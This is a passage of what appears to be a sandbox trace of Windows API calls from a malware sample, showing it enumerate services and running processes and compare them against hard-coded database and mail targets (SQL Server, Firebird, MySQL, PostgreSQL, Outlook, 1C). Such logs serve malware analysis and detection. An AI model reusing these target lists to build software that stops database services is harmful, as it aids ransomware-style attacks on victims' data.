returned -1 [0258.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0258.339] lstrlenW (lpString="SENS") returned 4 [0258.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0258.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0258.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0258.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0258.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0258.340] lstrlenW (lpString="ShellHWDetection") returned 16 [0258.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0258.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0258.340] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0258.340] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0258.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0258.340] lstrlenW (lpString="Spooler") returned 7 [0258.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0258.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0258.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0258.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0258.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0258.341] lstrlenW (lpString="SysMain") returned 7 [0258.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0258.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0258.341] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0258.341] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0258.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0258.341] lstrlenW (lpString="Themes") returned 6 [0258.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0258.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0258.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0258.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0258.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0258.342] lstrlenW (lpString="TrkWks") returned 6 [0258.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0258.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0258.342] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0258.342] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0258.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0258.342] lstrlenW (lpString="UxSms") returned 5 [0258.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0258.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0258.342] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0258.342] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0258.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0258.343] lstrlenW (lpString="WdiServiceHost") returned 14 [0258.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0258.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0258.343] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0258.343] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0258.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0258.343] lstrlenW (lpString="WdiSystemHost") returned 13 [0258.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0258.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0258.343] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0258.343] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0258.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0258.343] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0258.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0258.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0258.344] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0258.344] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0258.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0258.344] lstrlenW (lpString="Winmgmt") returned 7 [0258.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0258.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0258.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0258.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0258.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0258.346] lstrlenW (lpString="WPDBusEnum") returned 10 [0258.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0258.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0258.347] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0258.347] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0258.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0258.347] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4254088 | out: hHeap=0x880000) returned 1 [0258.347] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0258.352] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.354] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0258.355] lstrlenW (lpString="System") returned 6 [0258.355] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0258.355] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0258.355] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0258.355] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0258.355] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0258.355] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0258.355] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0258.355] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0258.356] lstrlenW (lpString="smss.exe") returned 8 [0258.356] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0258.356] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0258.356] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0258.357] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0258.357] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0258.357] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0258.357] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0258.357] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.358] lstrlenW (lpString="csrss.exe") returned 9 [0258.358] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0258.358] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0258.358] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0258.358] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0258.358] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0258.358] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0258.358] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0258.358] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0258.714] lstrlenW (lpString="wininit.exe") returned 11 [0258.714] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0258.714] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0258.714] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0258.714] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0258.714] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0258.714] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0258.715] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0258.715] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.716] lstrlenW (lpString="csrss.exe") returned 9 [0258.716] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0258.716] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0258.716] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0258.716] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0258.716] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0258.716] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0258.716] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0258.717] lstrlenW (lpString="winlogon.exe") returned 12 [0258.718] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0258.719] lstrlenW (lpString="services.exe") returned 12 [0258.719] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0258.720] lstrlenW (lpString="lsass.exe") returned 9 [0258.720] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0258.722] lstrlenW (lpString="lsm.exe") returned 7 [0258.722] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.723] lstrlenW (lpString="svchost.exe") returned 11 [0258.723] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.724] lstrlenW (lpString="svchost.exe") returned 11 [0258.724] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.725] lstrlenW (lpString="svchost.exe") returned 11 [0258.725] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.726] lstrlenW (lpString="svchost.exe") returned 11 [0258.726] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.727] lstrlenW (lpString="svchost.exe") returned 11 [0258.727] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.729] lstrlenW (lpString="audiodg.exe") returned 11 [0258.729] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.730] lstrlenW (lpString="svchost.exe") returned 11 [0258.730] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.731] lstrlenW (lpString="explorer.exe") returned 12 [0258.731] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.732] lstrlenW (lpString="dwm.exe") returned 7 [0258.732] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.733] lstrlenW (lpString="svchost.exe") returned 11 [0258.733] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0258.734] lstrlenW (lpString="driver.exe") returned 10 [0258.735] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.736] lstrlenW (lpString="spoolsv.exe") returned 11 [0258.736] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0258.737] lstrlenW (lpString="taskhost.exe") returned 12 [0258.737] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.738] lstrlenW (lpString="svchost.exe") returned 11 [0258.738] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0258.739] lstrlenW (lpString="reader_sl.exe") returned 13 [0258.739] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0258.740] lstrlenW (lpString="taskhost.exe") returned 12 [0258.740] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0258.741] lstrlenW (lpString="dllhost.exe") returned 11 [0258.741] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0258.742] CloseHandle (hObject=0x3b0) returned 1 [0258.742] Sleep (dwMilliseconds=0x1f4) [0259.393] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3158 [0259.394] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0259.394] GetLastError () returned 0xea [0259.396] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x4254088 [0259.397] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4254088, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4254088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0259.399] CloseServiceHandle (hSCObject=0x41c3158) returned 1 [0259.400] lstrlenW (lpString="Appinfo") returned 7 [0259.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0259.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0259.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0259.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0259.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0259.400] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0259.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.401] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0259.401] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0259.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0259.401] lstrlenW (lpString="AudioSrv") returned 8 [0259.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0259.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0259.401] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0259.402] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0259.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0259.402] lstrlenW (lpString="BFE") returned 3 [0259.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0259.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0259.402] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0259.402] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0259.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0259.402] lstrlenW (lpString="CryptSvc") returned 8 [0259.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0259.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0259.403] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0259.403] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0259.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0259.403] lstrlenW (lpString="CscService") returned 10 [0259.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0259.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0259.404] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0259.404] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0259.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0259.404] lstrlenW (lpString="DcomLaunch") returned 10 [0259.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.404] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0259.404] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0259.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0259.405] lstrlenW (lpString="Dhcp") returned 4 [0259.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0259.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0259.406] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0259.406] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0259.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0259.407] lstrlenW (lpString="Dnscache") returned 8 [0259.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0259.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0259.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0259.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0259.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0259.407] lstrlenW (lpString="DPS") returned 3 [0259.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0259.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0259.407] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0259.408] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0259.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0259.408] lstrlenW (lpString="eventlog") returned 8 [0259.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0259.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0259.408] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0259.408] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0259.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0259.408] lstrlenW (lpString="EventSystem") returned 11 [0259.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0259.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0259.409] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0259.409] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0259.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0259.409] lstrlenW (lpString="gpsvc") returned 5 [0259.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0259.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0259.409] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0259.409] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0259.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0259.409] lstrlenW (lpString="iphlpsvc") returned 8 [0259.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0259.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0259.410] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0259.410] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 